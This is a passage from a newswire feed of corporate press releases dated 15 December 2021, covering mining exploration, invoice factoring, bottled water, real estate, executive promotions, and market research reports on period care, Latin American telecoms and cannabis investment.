ongoing discoveries and strategic acquisitions of prospective precious metals and copper projects in the Americas. Mexican Gold is exploring and advancing the Las Minas Project, which is located in the core of the Las Minas mining district in Veracruz State, Mexico, and host to one of the newest, under-explored skarn systems known in Mexico. For more information, please contact: Jack Campbell CEO, President, and Director E-mail: info@mexicangold.ca Website: www.mexicangold.ca Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. All statements in this press release, other than statements of historical fact, are "forward-looking information" with respect to Mexican Gold within the meaning of applicable securities laws. Mexican Gold provides forward-looking statements for the purpose of conveying information about current expectations and plans relating to the future and readers are cautioned that such statements may not be appropriate for other purposes. By its nature, this information is subject to inherent risks and uncertainties that may be general or specific and which give rise to the possibility that expectations, forecasts, predictions, projections or conclusions will not prove to be accurate, that assumptions may not be correct and that objectives, strategic goals and priorities will not be achieved. These risks and uncertainties include but are not limited to market conditions, exploration findings, results and recommendations, as well as those risks and uncertainties identified and reported in Mexican Golds public filings under Mexican Golds SEDAR profile at www.sedar.com. Although Mexican Gold has attempted to identify important factors that could cause actual actions, events or results to differ materially from those described in forward-looking information, there may be other factors that cause actions, events or results not to be as anticipated, estimated or intended. There can be no assurance that such information will prove to be accurate as actual results and future events could differ materially from those anticipated in such statements. Mexican Gold disclaims any intention or obligation to update or revise any forward-looking information, whether as a result of new information, future events or otherwise unless required by law. HOUSTON, Dec. 15, 2021 (GLOBE NEWSWIRE) -- Leading invoice funding company Charter Capital says difficulties surrounding cash flow continue to dominate the list of reasons small businesses fail. The company's recent publication, "6 Common Challenges Startup Businesses Face," explores this and other root causes of business closures as well as actionable solutions in each area. The complete piece is live on CharterCapitalUSA.com now. Gregory Brown, co-founder and executive manager of Charter Capital, says small-business owners often focus on profitability, but that's only one indicator of a company's financial health. Effective cash flow management is vital, particularly for businesses experiencing rapid growth. "Growth and profit are a double-edged sword that can lull business owners into a false sense of security," Brown explains. "A business can be busier than ever, but founders will almost always come up short when their operational expenses make a jump before incoming payments do." Brown contends that this is why growth, not necessarily lack of profit, is the culprit behind diminished working capital reserves and is what causes many startups to falter. "It's normal to see this kind of cash flow gap in high-performing startups," continues Brown. "But, when founders aren't prepared for the strain of growth, and can't get funding through traditional sources, they start racking up late fees and get tied into expensive long-term contracts with lenders, which damages their growth in the long run." According to Brown, entrepreneurs can ramp up without getting tied into expensive funding solutions by leveraging invoice factoring. With factoring, the business receives a cash advance on its outstanding B2B invoices, so payments are accelerated and there's no debt to pay back. This addresses current cashflow issues without harming the long-term viability of the company, thus fortifying businesses against the leading cause of startup failure on multiple fronts. Additional tips outlined in the Charter Capital release include bringing on a co-founder to boost performance and valuations as well as devising creative benefits packages to attract top talent. Those interested in learning more about invoice factoring are encouraged to request a free rate quote by calling 1-877-960-1818 or visiting CharterCapitalUSA.com. About Charter Capital Headquartered in Houston, Texas, Charter Capital has been a leading provider of flexible funding solutions for the B2B sector for more than 20 years. Competitive rates, a fast approval process, and same-day funding help businesses across various industries secure the working capital necessary to manage daily needs and grow. To learn more, visit CharterCapitalUSA.com or call 1-877-960-1818. Related Images Image 1: Common Challenges Startup Businesses Face Your startup can find itself short on working capital due to increased sales, certain times of the month, or during slow periods. This content was issued through the press release distribution service at Newswire.com. Attachment HOT SPRINGS VILLAGE, Ark., Dec. 15, 2021 (GLOBE NEWSWIRE) -- Caddo Mountain Spring Water, LLC ("Caddo") is working with RPPY ARCHITECTS ("RPPY") on a design for a Visitors' Center ("Center") at its spring/artesian source water property in Arkansas. The pictured RPPY Center rendering is one of the most recent plans. The Caddo Visitors' Center plan incorporates the saving of its "Over Yonder Barn." Caddo's Over Yonder Barn was featured in the opening scene of Arkansas Educational Television Network's "Back Roads Barns" documentary produced by Kevin Thomas Clark in 2016. The Company believes a Center like theirs is another industry first for them. Caddo trusts what it encompasses will enhance lives and foster goodwill that extends and perfects best business practices across many industries. As a shared Company-Public use facility (for community organizations and schools), it will contribute to the economic development of area communities and the welfare of its citizens in one of the poorest counties of Arkansas. RPPY President David Perry stated, "RPPY is excited to be a part of the Caddo project overall. We are thrilled to work on the Visitors' Center. We are confident the Caddo Center will become a sustainable landmark and destination 'learning place' in the beautiful Caddo River area of Arkansas." The Center on the Caddo source water tract will be situated in the beautiful Caddo River Valley, surrounded by the precipitous forested Caddo Mountains of Arkansas. Thousands of acres of U.S. Forest Lands abut the Company property on its upgradient north and south, affording it natural water protection from contamination. In fact, Arkansas State Highway 8 that traverses the Caddo property is a U.S. National Forest Service designated Scenic By-Way. The Company would like the Center to be a destination location for people to visit in a beautiful rural Arkansas County that has no State Park. Barry Davidson, founder/CEO of Caddo, stated, "We want to interact with people who visit us at our Center about our water, the environment/sustainability, hydrogeology, solar power and its great area heritage. We also want to share and call attention to the natural beauty of our area in The Natural State." The Caddo founder went on to say, "We want to leverage the Company's assets in all areas to optimize our operation and have a platform for key positive social impact. A goal of the Company is to exceed the expectations of its product-consuming public as well as ourselves as consumers. We understand the product we make available, how and where we make it available and the market it serves can enhance the health and lives of the people who consume it. As well, we believe we can have a major positive social impact on everyone who gains a better knowledge of water, the environment/sustainability and area heritage through education." Davidson also stated, "Water quality, the stewardship of the environment/sustainability and our heritage are important issues to all of us. Our passion for what we do will be sustained by the recognition of our endeavors the highest compliment than can be achieved. Caddo will be the first water in the world bottled by the power of the Sun. We went through strict underwriting by the USDA to obtain a solar energy REAP Grant. Caddo will also be the first water in the world with a Visitors' Center like ours. We selected RPPY for their ability and shared passion for our project that would produce innovative, memorable designs for us that people will want to visit." Furthermore, Davidson said, "We want to interact with visitors about our great water and its sustainability. We are proud of all our source water tract metrics. To say all our property's outstanding metrics are difficult to replicate would be a huge understatement. Caddo's source water location and unsurpassed quality water go hand in hand. In fact, we believe the FDA should mandate rules requiring a Standard of Identity for all bottled waters. Consumers deserve to know where each bottle of water comes from and what contaminates are in it. There is no pure water on the planet. 'Purified Water' is a bit of an industry's marketing play on words. A Standard of Identity rule for bottled water is a prerequisite of best practices in solid Blockchain business logic." Davidson went on to say: "At his time, we are interacting with several possible strategic partners to complete our capital raise." CONTACT: Barry Davidson CEO/Managing Member Caddo Mountain Spring Water, LLC bdavidson@mountainsourcedwater.com www.CaddoMountainSpringWater.com @CaddoMountain Related Images Image 1: Caddo Visitors' Center Rendering Caddo Visitors' Center at its source water property in the Caddo Mountains of Arkansas. Image 2: Caddo Source Water Property Caddo Property in Caddo Mountains of Arkansas This content was issued through the press release distribution service at Newswire.com. Attachment Toronto, Dec. 15, 2021 (GLOBE NEWSWIRE) -- Empire Communities, one of Canadas largest privately-held homebuilders, celebrated the groundbreaking of their newest condo development, Quay House, on December 13. Once complete, the building will feature 463 units and stand 21 storeys tall opposite Lake Ontario. Conveniently located on Queens Quay East, the residence is just steps away from Torontos waterfront and some of the citys best venues and attractions including George Brown College, Sugar Beach, the Distillery District, Scotiabank Arena and St. Lawrence Market. The area is also home to the upcoming Waterfront Innovation Centre. Despite the challenges of COVID-19, the building has garnered tremendous interest and success, largely in part due to the support of the broker community, with all released suites ranging from studios to 3-bedroom units currently sold out. Residents will have access to an array of curated amenities to complement their unique lifestyles including a fitness and yoga studio, co-working lounge, and party room. This groundbreaking marks the next phase of a project that adds to the development and evolution of the citys East End, says Emilio Tesolin Empires President of High Rise. For more information on Empire Quay House and its future release of suites, visit empirequayhouse.com. EMPIRE COMMUNITIES Empire Communities is a residential homebuilder involved in all sectors of the new home building industry, including both lowrise and highrise built forms. Celebrating 27 years of building inspiring new places to live, Empire has an established tradition of creating prestigious award-winning new homes, communities and amenities and has earned a reputation for outstanding attention to detail and customer service. Since 1993, Empire has built over 28,000 new homes and condos. Today, Empire is one of the largest privately held homebuilders in North America with current communities in Toronto, Southwestern Ontario and the Southern United States. -30- Attachment Charlotte, NC, Dec. 15, 2021 (GLOBE NEWSWIRE) -- Elior North America has announced the promotion of two experienced and accomplished leaders within its organization: Karen Roelandts as the executive vice president of Human Resources at Elior North America and Trish Spellman as managing director of Cura Hospitality. Both women have taken on expanded responsibilities over the last quarter and have led their respective teams through periods of transition. Karen joined Elior North America in 2019 after serving as director, HR Transition Team, for Marriott Hotels International, where she helped lead the integration of human capital from the acquisition of Starwood Hotels & Resorts. During her time as vice president, HR, at Elior North America, she has built strong relationships with leaders across the organization, supported corporate functions, manufacturing and distribution, and led numerous groups, including Learning and Development, Talent Management, and Employee Relations. Our greatest asset as an organization is our people. Its a great honor and privilege to take on this role and to help strengthen the foundation of the culture were building based on inclusion, accountability, servant leadership, and professional growth opportunities, said Karen Roelandts. Trish has over 30 years of experience in contract-managed services operations for leading organizations. Trish joined Cura Hospitality in 2016 and most recently served as vice president of operations, overseeing 10 districts comprising 107 accounts across nine states, with a total managed volume of $150M. In addition to her commitment to operational excellence, Trish is dedicated to Eliors global diversity, equity, and inclusion efforts and currently serves as an advisory participant of Eliors Global D&I council. I am thrilled to accept the role as managing director of our outstanding Cura team. My greatest pleasure is to see those I work with develop professionally, and with our ambitious growth trajectory, well have a wealth of new and exciting development opportunities for our team members in the months and years to come, said Trish Spellman. Elior North America remains dedicated to providing growth and development opportunities for its team members and promote from within the organization wherever possible. Karen and Trish are the latest examples of our culture of meritocracy in action, where anyone with the skills, proven performance and spirit of service can build a fulfilling career, added Olivier Poirot, president and CEO of Elior North America. To learn more about Cura Hospitality, visit https://curahospitality.com/. For information on Elior North America, visit https://www.elior-na.com/. ### About Cura Hospitality Since 1996, Cura has been curating dining service programs specific to each clients needs, taking the worry of guest safety and satisfaction, employee development, operational and fiscal challenges off our clients plates. Cura is a company of experienced dining services professionals that came together under one name in 2019, previously doing business as Cura, Aviands and Valley Services, providing services in senior living communities, acute care hospitals and behavioral health centers. Cura is now part of the Elior North America family of companies. To learn more about Cura, visit www.curahospitality.com. About Elior North America Elior North America is a family of distinct hospitality companies with more than 50 years of industry experience and 15,000 team members united in our passion for food, service and excellence. We share an appetite for growth which drives all of us to continually reimagine our customers experience. The company is part of the European contract catering firm Elior Group. Learn more at www.elior-na.com. Attachments VANCOUVER, British Columbia, Dec. 15, 2021 (GLOBE NEWSWIRE) -- Monument Mining Limited (TSX-V: MMY and FSE: D7Q1) Monument or the Company is pleased to announce the commencement of a Phase 2 exploration drilling program at Burnakura, one of the primary Murchison Gold Projects in the Meekatharra area, Western Australia. Together the Phase 2 with the Phase 1 drilling that was completed in August forms part of a two year exploration program to test Murchison potential for gold discovery. Contrary to the Phase 1 Drilling Program which focused on unexplored areas to the south of Burnakura, the Phase 2 program is targeting down dip and down plunge of known high grade deposits that some of them have been mined historically. The drilling is aimed at testing the potential expansion of the underground resource. Step out spacing from existing drilling is broad to increase the probability of discovering mineralization at NOA Structure area (Figure 1). Figure 1: Murchison Exploration Locations is available at https://www.globenewswire.com/NewsRoom/AttachmentNg/0bfe4993-e938-49f6-8abb-9fe6220d2afe The CEO and President Cathy Zhai comments: Our Murchison team is delighted to start the Phase 2 drilling program after having done considerable work to identify these high quality targets. The objective of this program is to test the target areas to potentially identify new resources at Burnakura to improve the economics of the project. The drill rigs have been secured and drilling has already started. To date, all assay results from Phase 1 drill program have been received and will be announced once the interpretation is completed. PHASE 2 HIGHLIGHTS The NOA structure has already proven it contains mineralization that can support an underground operation. The NOA 2 deposit historically produced high grade from both open pit and underground operations. The Phase 2 program is targeting mineralization in economic grades and thicknesses underneath NOA 1, NOA 2, NOA 4-6 and NOA 7/8. The analysis and results of this program will drive subsequent exploration phases. This drill program is expected to be completed by February 2022. PROGRAM SUMMARY A total 5,546 drill metres are planned under the Phase 2 drilling program, combining reverse circulation (RC) and diamond drilling (DD) targeting completion by February 2022. All pre-drilling work including preparation of drill pads, refinement of drill hole planning and logistics, heritage and environmental surveys and Permit of Work (POW) applications for the areas have been completed. The drilling contract has been awarded to Minch Enterprises Pty Ltd trading as Frontline Drilling Australia (Frontline"), who will supply a KWL 700 RC drill rig for RC drilling and a KWL 1600 rig for the DD component. The earliest commencement date of work was originally planned to be January next year; however, working in conjunction with Frontline, the Company has been able to fast-track the deployment of the RC drill rig and has secured it for an initial three-month window, which started in the third week of November 2021. All samples collected from the drilling program will be dispatched to ALS Geochemistry laboratory in Wangara, Western Australia for gold and selected multi-element analysis. Results are expected to be received starting in March 2022. The second drill program will commence at a series of high potential targets identified on the Burnakura Project as shown in Figure 2. The program will focus on the NOA structure which is related to the regional Burnakura Shear Zone and is identified for 2.5km in a north-northwest direction. Open pit mines along this structure have produced significant ounces of gold from five deposits. Details of the drill program are presented in Table 1. Table 1: Drill Program Summary Drill Area Holes RC Metres DD Metres NOA 7/8 6 1,200 1,040 NOA 4-6 2 400 215 NOA 2 4 800 450 NOA 1 5 1,000 270 New Alliance 1 165 - Total 18 3,565 1,975 Figure 2: High potential target locations at the Burnakura project is available at https://www.globenewswire.com/NewsRoom/AttachmentNg/9b51519e-35b6-43d3-857c-9a2967b3945d NOA 7/8 The NOA 7/8 deposit is the last exploited open pit along the NOA structure. High grade gold mineralization underneath the current pit extends to 200m vertically below surface. Indications are this is of thickness and grades that could support underground development. The mineralization remains open down dip but appears to be truncated to the north by a northeast trending fault that dips to the west. It is proposed to drill six RC holes with diamond tails to test the mineralization between 220m to 340m vertically below the surface. A total of 1,200m RC and 1,040m DD holes have been planned (Figure 3). Figure 3: A long section looking west through NOA 7/8 showing target location of planned drill holes is available at https://www.globenewswire.com/NewsRoom/AttachmentNg/a8455775-bead-46d5-b684-b14cfd6465ce NOA 4-6 NOA 4-6 deposits consist of modest shallow zones of mineralization along the NOA structure. They were exploited by two shallow open pits. RC drilling has tested mineralization for depth extensions to NOA 4-6 to a depth of approximately 130m. Two RC holes with diamond tails aim to test the potential for economic mineralization to a depth of 240m vertically below the surface, 100m below the existing drilling. A total of 400m of RC and 220m of DD are planned. NOA 2 The NOA 2 deposit historically produced high grade gold from both an open pit and underground operation. Its mineralization is truncated to the south by a major EW fault that separates it from the NOA 1 deposit. The mineralization steepens down dip, coincident with a decrease in grade. A total of four RC holes with diamond tails are proposed to test for the continuation and repetition of mineralization at depth, down to 280m vertically below the surface, including planned 800m RC and 450m DD (Figure 4). Figure 4: A long section looking west through NOA 2 showing structure and planned drill hole targets is available at https://www.globenewswire.com/NewsRoom/AttachmentNg/3efce8b4-6586-4f8b-bbcb-06c0e870a00a NOA 1 The NOA 1 deposit is the southernmost exploited deposit with several high-grade gold intersections including 7m at 9.0g/t Au from drill hole 16MRC107. In 2020, drill hole 20MRD013, the deepest hole drilled at NOA 1, intersected 1m at 7.55g/t Au. It is truncated to the north by a major EW fault. Shallow drilling to the south of the NOA1 pit failed to intersect economic mineralization. A total of five deep holes are planned, consisting of RC pre-collars with diamond tails targeting the interpreted mineralized zone with pierce points 150m to 250m vertically below surface. A total of 1,000m RC and 270m diamond core have been included in the program (Figure 5). Figure 5: A long section through NOA 1 looking west showing structure and planned drill hole targets is available at https://www.globenewswire.com/NewsRoom/AttachmentNg/00365484-74c9-4e81-8de0-57b3d306d262 NEW ALLIANCE The New Alliance open pit has produced approximately 30koz of gold in the past and its mineralization is consistently low-medium grade but contains a small body (50x30m) of very high-grade mineralization at the northern end of the pit at a depth of approximately 75m. The high-grade body is located at a lithological contact between tuffs and ultramafics within the transition zone. The best intersection within the body is 10m at 18.2g/t Au (drill hole NARC001). Two 40m step-out RC holes have partially closed off the down dip direction of the high-grade body. One RC hole for 170m is proposed to test the high-grade gold mineralization down plunge beneath the northern end of the pit. The scientific and technical information in this press release has been assembled by Adrian Woodfield, Chief Geologist of the Company, reviewed and approved by Roger Stangler, MEng, FAusIMM, MAIG, a Qualified Person as defined by NI43-101, retained by Golder Associates Pty Ltd. About Monument Monument Mining Limited (TSX-V: MMY, FSE:D7Q1) is an established Canadian gold producer that owns and operates the Selinsing Gold Mine in Malaysia. Its experienced management team is committed to growth and is also advancing the Murchison Gold Projects comprising Burnakura, Gabanintha and Tuckanarra JV (20% interest) in the Murchison area of Western Australia. The Company employs approximately 200 people in both regions and is committed to the highest standards of environmental management, social responsibility, and health and safety for its employees and neighboring communities. Cathy Zhai, President and CEO Monument Mining Limited Suite 1580 -1100 Melville Street Vancouver, BC V6E 4A6 FOR FURTHER INFORMATION visit the company web site at www.monumentmining.com or contact: Richard Cushing, MMY Vancouver T: +1-604-638-1661 x102 rcushing@monumentmining.com "Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release." Forward-Looking Statement This news release includes statements containing forward-looking information about Monument, its business and future plans (forward-looking statements). Forward-looking statements are statements that involve expectations, plans, objectives or future events that are not historical facts and include the Companys plans with respect to its mineral projects and the timing and results of proposed programs and events referred to in this news release. Generally, forward-looking information can be identified by the use of forward-looking terminology such as "plans", "expects" or "does not expect", "is expected", "budget", "scheduled", "estimates", "forecasts", "intends", "anticipates" or "does not anticipate", or "believes", or variations of such words and phrases or state that certain actions, events or results "may", "could", "would", "might" or "will be taken", "occur" or "be achieved". The forward-looking statements in this news release are subject to various risks, uncertainties and other factors that could cause actual results or achievements to differ materially from those expressed or implied by the forward-looking statements. These risks and certain other factors include, without limitation: risks related to general business, economic, competitive, geopolitical and social uncertainties; uncertainties regarding the results of current exploration activities; uncertainties in the progress and timing of development activities; foreign operations risks; other risks inherent in the mining industry and other risks described in the management discussion and analysis of the Company and the technical reports on the Companys projects, all of which are available under the profile of the Company on SEDAR at www.sedar.com. Material factors and assumptions used to develop forward-looking statements in this news release include: expectations regarding the estimated cash cost per ounce of gold production and the estimated cash flows which may be generated from the operations, general economic factors and other factors that may be beyond the control of Monument; assumptions and expectations regarding the results of exploration on the Companys projects; assumptions regarding the future price of gold of other minerals; the timing and amount of estimated future production; the expected timing and results of development and exploration activities; costs of future activities; capital and operating expenditures; success of exploration activities; mining or processing issues; exchange rates; and all of the factors and assumptions described in the management discussion and analysis of the Company and the technical reports on the Companys projects, all of which are available under the profile of the Company on SEDAR at www.sedar.com. Although the Company has attempted to identify important factors that could cause actual results to differ materially from those contained in forward-looking statements, there may be other factors that cause results not to be as anticipated, estimated or intended. There can be no assurance that such statements will prove to be accurate, as actual results and future events could differ materially from those anticipated in such statements. Accordingly, readers should not place undue reliance on forward-looking statements. The Company does not undertake to update any forward-looking statements, except in accordance with applicable securities laws. Portland, OR, Dec. 15, 2021 (GLOBE NEWSWIRE) -- According to the report published by Allied Market Research, the Australia period care market was pegged at $630.0 million in 2020 and is estimated to hit $1.02 billion by 2030, registering a CAGR of 5.3% from 2021 to 2030. The report provides an in-depth analysis of the top investment pockets, top winning strategies, drivers & opportunities, market size & estimations, competitive landscape, and changing market trends. Rise in literacy and awareness of period care products in Australia, increase in number of working women and several innovations in products drive the growth of the Australia period care market. On the other hand, surge in health concerns among buyers related to materials used in conventional products restrain the growth to some extent. However, growing demand for reusable period care products and upsurge in demand for organic, biodegradable, and compostable period care products are expected to pave the way for lucrative opportunities in the industry. Get detailed COVID-19 impact analysis on the Australia Period Care Market: https://www.alliedmarketresearch.com/request-for-customization/14685?reqfor=covid COVID-19 scenario- Disrupted manufacturing activities and production facilities impacted the Australia period care market negatively, especially during the initial phase of the pandemic. However, the market is projected to revive soon. The Australia period care market is analyzed across product type and distribution channels. Based on product type, the sanitary pads segment contributed to nearly one-third of the total market share in 2020, and is expected to lead the trail by 2030. The period underwear segment, however, would also cite the fastest CAGR of 7.4% from 2021 to 2030. Based on distribution channel, the grocery store segment accounted for nearly one-third of the total market revenue in share in 2020, and is anticipated to rule the roost by 2030. The pure play online segment, on the other hand, would grow at the fastest CAGR of 7.4% from 2021 to 2027. Download Sample Copy of Report @ https://www.alliedmarketresearch.com/request-sample/14685 The leading market players analyzed in the Australia period care market report include Kimberly-Clark Corporation, Procter & Gamble Co., Edgewell Personal Care Company, Bonds Love Luna, Unicharm Corporation, Knicked, Wunderthings, Modibodi, and Juju. These market players have adopted different strategies including partnership, expansion, collaboration, joint ventures, and others to reinforce their status in the industry. Schedule a FREE Consultation Call with Our Analysts/Industry Experts to Find Solution for Your Business @ https://www.alliedmarketresearch.com/purchase-enquiry/14685 Avenue Basic Plan | Library Access | 1 Year Subscription | Sign up for Avenue subscription to access more than 12,000+ company profiles and 2,000+ niche industry market research reports at $699 per month, per seat. For a year, the client needs to purchase minimum 2 seat plan. Avenue Library Subscription | Request for 14 days free trial of before buying: https://www.alliedmarketresearch.com/avenueTrial Get more information: https://www.alliedmarketresearch.com/library-access About Us Allied Market Research (AMR) is a full-service market research and business-consulting wing of Allied Analytics LLP based in Portland, Oregon. Allied Market Research provides global enterprises as well as medium and small businesses with unmatched quality of "Market Research Reports" and "Business Intelligence Solutions." AMR has a targeted view to provide business insights and consulting to assist its clients to make strategic business decisions and achieve sustainable growth in their respective market domain. We are in professional corporate relations with various companies and this helps us in digging out market data that helps us generate accurate research data tables and confirms utmost accuracy in our market forecasting. Allied Market Research CEO Pawan Kumar is instrumental in inspiring and encouraging everyone associated with the company to maintain high quality of data and help clients in every way possible to achieve success. Each and every data presented in the reports published by us is extracted through primary interviews with top officials from leading companies of domain concerned. Our secondary data procurement methodology includes deep online and offline research and discussion with knowledgeable professionals and analysts in the industry. Sydney, Dec. 15, 2021 (GLOBE NEWSWIRE) -- Just released, this edition of BuddeComm report outlines the latest developments and key trends in the telecoms markets. - https://www.budde.com.au/Research/Brazil-Telecoms-Mobile-and-Broadband-Statistics-and-Analyses/?utm_source=GNW The licensees are obliged to provide 5G services to all capital cities by July 2022, as well as to about 35,780km of the national highway network. Unusually, all licenses can potentially be used to provide wholesale services. The auction raised R$47.2 billion, though R$7.44 billion of this has tentatively been deferred to encourage the licensees to extend services into underserved areas. Since 2020 the government has come under pressure from the US to ban Chinese companies such as Huawei from being involved in building 5G networks, due to security concerns. However, Brazil opted not to impose restrictions on the use of Huaweis 5G network equipment. Huawei already supplies equipment for nearly half of the 3G and LTE networks in Brazil, and excluding it would have cost billions of dollars to replace. Following the auction, Huawei was quick to negotiate with licensees, most being existing long-term customers. Despite the auction delay, operators have launched 5G services on a limited basis. Telefonica is developing 5G services for industrial processes using AI and machine learning at its lab in Madrid, and user cases will initially be deployed in Germany and Brazil. Key developments: Regulator concludes multi-spectrum 5G auction; IHS completes its acquisition of a 51% stake in FiberCo; BTG Pactual buys 58% of Ois fibre business Infraco for $2.3 billion; Regulator allows accredited MVNOs to sign access agreements with more than one MNO; Algar Telecom acquires Vogel Telecom, adds 3,400 corporate clients; Regulator allows operators with spectrum in the 850MHz band to extend their concessions until the end of November 2028; Tannat submarine cable connecting Brazil and Argentina ready for service; Telefonica Brasil and CDPQ create wholesale fibre broadband business, dubbed FiBrasil; America Movil spins off towers and other related passive infrastructure in its Latin American markets; Operators launch 5G services on a limited basis; Report update includes the regulators market data updates to June 2021 and operator data to Q3 2021, updated Telecom Maturity Index charts and analyses, assessment of the Covid-19 pandemic on the telecom sector, recent market developments. Companies mentioned in this report: Telefonica Brasil (Vivo), Brisanet, BTG Pactual, TIM Brasil, Claro, Huawei, Oi, Nextel Brasil, CTBC/Algar Telecom, Sercomtel Celular, Vodafone Brazil/ARQIA, Embratel, Ericsson, Google, GVT, Universo Online (UOL), Net Servicos de Comunicacao, Intelig, Neovia, Eletropaulo Telecom, Copel, BuscaPe, Global Crossing, Star One, TelesatBrasil, Hispamar, Telebras, Intelig. Read the full report: https://www.budde.com.au/Research/Brazil-Telecoms-Mobile-and-Broadband-Statistics-and-Analyses/?utm_source=GNW Sydney, Dec. 15, 2021 (GLOBE NEWSWIRE) -- Just released, this edition of BuddeComm report outlines the latest developments and key trends in the telecoms markets. - https://www.budde.com.au/Research/Mexico-Telecoms-Mobile-and-Broadband-Statistics-and-Analyses/?utm_source=GNW Stronger growth is anticipated for 2021 as subscribers continue to respond to demands resulting from various measures introduced to combat the pandemic. The slow start of 5G in the country has not been helped by the disinterest among players to secure spectrum. At an auction of unused spectrum held in October 2021 only two operators made bids, and the state raised only MXN1.35 billion. This was an indication of operator hostility to the high price which the state has demanded for spectrum, as well as high annual fees. In a bid to develop the 5G sector, the regulator recently proposed that the cost of 5G-suitable spectrum should be reduced, and that 800MHz and 850MHz concessions should be divided up into 65 zones, thereby encouraging smaller-scale investment. This was aimed at securing the involvement of smaller operators with tighrter budgets. These smaller operators have largely benefitted from the wholesale network (using spectrum in the 700MHz) which has been managed by the ALTAN consortium since 2018. The government estimated that the shared network could reduce consumer prices by 12% to 16%. The consortium was obliged to provide 70% population coverage by January 2021 (a target which it missed), and about 92% by January 2024. However, ALTAN ran into financial difficulties and filed for bankruptcy protection in mid-2021. This was granted in late 2021, which has enabled the company to renegotiate its debts. Key developments: Wholesale mobile network provider ALTAN Redes secures bankruptcy protection; Senate proposes merger between the agencies COFECE, IFT and CRE; Multi-spectrum auction is concluded, raising only MXN1.35 billion; IFT proposes measures to expedite 5G rollouts; AT&T Mexico returns a portion of its mobile spectrum in the 800MHz band; Movistar relinquishes its 1900MHz and 2500MHz spectrum concessions; Telcel acquires another 50MHz of spectrum in the 3.5GHz band from Axtel; Codi enables consumers to make NFC and QR payments via their mobile banking apps; Report update includes the regulators market data report to December 2020, telcos financial and operating data to Q3 2021, updated Telecom Maturity Index charts and analyses, assessment of the global impact of Covid-19 on the telecoms sector, recent market developments. Companies mentioned in this report: America Movil (Telcel, Telmex), Megacable, Cablemas, Cablevision, Grupo Televisa, Maxcom, Sistemas Interactivos de Telecomunicaciones (SIT), Axtel, Megafon, InterCable, CFE, , AT&T Mexico (Iusacell, Nextel Mexico), Movistar (Telefonica Mexico), Globalstar, Unefon, Virgin Mobile, Weex, Alestra, Maxcom, Marcatel. Read the full report: https://www.budde.com.au/Research/Mexico-Telecoms-Mobile-and-Broadband-Statistics-and-Analyses/?utm_source=GNW Sydney, Dec. 15, 2021 (GLOBE NEWSWIRE) -- Just released, this edition of BuddeComm report outlines the latest developments and key trends in the telecoms markets. - https://www.budde.com.au/Research/Guyana-Telecoms-Mobile-and-Broadband-Statistics-and-Analyses/?utm_source=GNW Initial estimates project the resource could almost double the size of the countrys economy to $13 billion annually. It is hoped that Guyana can avoid the institutional problems such as corruption and political conflict that are often the outcomes of sudden oil wealth, and that its discovery will also lead to a major boost in consumer spending power.The telecom sector is certainly in some need of a shot in the arm, with fixed-line teledensity and penetration for mobile and broadband services at the low end of the scale for Latin American countries. That is typically a reflection of a countrys GDP, so a major injection of revenue into the broader economy is certain to have positive flow-on effects in telecom markets.That appears to be evident already, based on the recent financial performance of the countrys telcos. With Guyanas GDP increasing a whopping 16% in 2020 (in spite of the pandemic sweeping the globe), the country also saw healthy growth in the number of mobile (5.6%), mobile broadband (6%), and fixed broadband subscribers (10%). The recent market liberalisation, along with the prospect of additional mobile spectrum allocations, should help propel Guyana from the bottom tier to at least the middle tier in terms of telecom maturity. Key developments: The 2016 Telecommunications Act was finally passed in October 2020. Oil sales are expected to accelerate growth in the telecommunications sector as a result of the trickle-down effect increasing disposable incomes. Companies mentioned in this report: Guyana Telephone and Telegraph (GTT), Digicel Guyana. Read the full report: https://www.budde.com.au/Research/Guyana-Telecoms-Mobile-and-Broadband-Statistics-and-Analyses/?utm_source=GNW Washington, Dec. 15, 2021 (GLOBE NEWSWIRE) -- New Frontier Data (https://newfrontierdata.com), the premier data, analytics and technology firm specializing in the cannabis industry worldwide, publishes its latest report, Cultivating Capital: Cannabis Finance & Investment, released in partnership with FTI Consulting, examining emerging trends, opportunities and risks to investment capital as cannabis normalization continues to prevail in the absence of a federally regulated marketplace. The report found that since 2019, capital raises in the cannabis industry have totaled $25.6 billion, with $10.1 billion in the first three quarters of 2021 alone, reflecting recent investment in product innovation, improved therapeutic applications and technology-enabled solutions commensurate with a mainstream industry. Consumer demand is a key driver with cannabis consumers spending an estimated $415 billion globally on high-THC cannabis in 2020, and that is projected to grow to nearly $500 billion by 2025. North American companiesboth Canadian and Americanare deploying an unprecedented amount of capital in emerging European and Latin American cannabis markets, noted Giadha A. DeCarcer, Founder and Executive Chair of New Frontier Data. These strategic investments are positioned to capture the significant consumer and commercial opportunities now arising across the maturing global cannabis economy. Key Findings: Federal Prohibition: Increasing market sophistication is enabling cannabis companies to navigate the challenges created by federal prohibition, while cannabis normalization has bolstered investor confidence in federal reform. Increasing market sophistication is enabling cannabis companies to navigate the challenges created by federal prohibition, while cannabis normalization has bolstered investor confidence in federal reform. Capital Risks: Debt financing is on the rise, accounting for 38% of capital financing (up from 18% just three years ago), further illustrating the risks created by the absence of federal banking options. Debt financing is on the rise, accounting for 38% of capital financing (up from 18% just three years ago), further illustrating the risks created by the absence of federal banking options. M&A Investment Trends: Investments in cultivation and retail facilities accounted for 60% of 2021 deals (over $6 billion), but investors also bet big on technology companies, with 2021 seeing the largest tech deals to date. Investments in cultivation and retail facilities accounted for 60% of 2021 deals (over $6 billion), but investors also bet big on technology companies, with 2021 seeing the largest tech deals to date. Global Expansion: As the first G7 country to legalize cannabis, 67 (50%) of Canadas M&A transactions in 2021 occurred in foreign markets compared to five U.S transactions (5%), validating the synergy between legalization and global expansion. Download a complimentary copy of Cultivating Capital: Cannabis Finance & Investment, here: https://info.newfrontierdata.com/cultivating-capital About New Frontier Data: New Frontier Data is the premier data, analytics and technology firm specializing in the global cannabis industry, delivering solutions that enable investors, operators, advertisers, brands, researchers and policy makers to assess, understand, engage and transact with the cannabis industry and its consumers. Our mission is to inform policy and commercial activity for the global legal cannabis industry. We maintain a neutral position on the merits of cannabis legalization through comprehensive and transparent data analysis and projections that shape industry trends, dynamics, demand and opportunity drivers. Founded in 2014, New Frontier Data is headquartered in Washington, D.C. with a presence in Europe, Latin America and Africa. For more information about New Frontier Data, please visit us at www.NewFrontierData.com. Attachment Sydney, Dec. 15, 2021 (GLOBE NEWSWIRE) -- Just released, this edition of BuddeComm report outlines the latest developments and key trends in 